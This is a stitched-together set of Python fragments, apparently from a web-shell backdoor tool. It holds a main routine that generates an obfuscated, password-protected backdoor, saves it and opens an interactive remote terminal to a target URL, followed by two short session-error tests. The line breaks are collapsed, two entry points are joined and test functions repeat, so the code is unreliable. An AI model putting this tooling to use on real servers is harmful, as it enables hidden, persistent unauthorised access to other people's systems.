def main(arguments): if arguments.command == 'generate': obfuscated = generate.generate(password=arguments.password, obfuscator=arguments.obfuscator, agent=arguments.agent) generate.save_generated(obfuscated, arguments.path) log.info( messages.generate.generated_backdoor_with_password_s_in_s_size_i % (arguments.password, arguments.path, len(obfuscated))) return elif arguments.command == 'terminal': session = SessionURL(url=arguments.url, password=arguments.password) elif arguments.command == 'session': session = SessionFile(arguments.path) dlog.debug(pprint.pformat(session)) modules.load_modules(session) if not arguments.cmd: Terminal(session).cmdloop() else: Terminal(session).onecmd(arguments.cmd)
from core.terminal import Terminal from core.weexceptions import FatalException from core.loggers import log from core.sessions import SessionURL, SessionFile from core import modules from core import messages from core import config import sys import pprint if __name__ == '__main__': try: if len(sys.argv) == 3 and sys.argv[1].startswith('http'): session = SessionURL(url=sys.argv[1], password=sys.argv[2]) elif len(sys.argv) == 2: session = SessionFile(sys.argv[1]) else: log.info(__doc__) raise FatalException(messages.generic.error_missing_arguments) log.debug(pprint.pformat(session)) modules.load_modules(session) Terminal(session).cmdloop() except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)
def test_session(self, log_captured): # Test to generate a session with a wrong file self.assertRaises(FatalException, lambda: SessionFile('BOGUS'))
def test_session(self, log_captured): # Test to open a session from wrong files for path in self.brokensessionfiles: self.assertRaises(FatalException, lambda: SessionFile(path))